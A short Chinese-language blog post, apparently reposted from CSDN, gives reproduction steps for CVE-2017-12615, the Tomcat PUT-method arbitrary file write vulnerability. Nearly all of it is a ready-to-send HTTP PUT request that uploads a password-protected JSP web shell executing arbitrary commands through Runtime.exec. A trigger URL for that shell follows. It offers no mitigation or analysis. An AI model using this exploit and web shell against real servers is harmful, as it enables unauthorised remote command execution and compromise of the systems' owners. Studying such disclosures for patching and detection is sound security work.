Tomcat PUT方法任意写文件漏洞

适用版本:Tomcat version: 8.5.19

漏洞编号:CVE-2017-12615

复现步骤:

直接发送以下数据包,然后一句话将被写入Web根目录。

PUT /1.jsp/ HTTP/1.1
Host: 192.168.134.129:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 375

<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%> 

访问地址:http://192.168.134.129:8080/1.jsp?pwd=023&i=id

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_44032232/article/details/114788019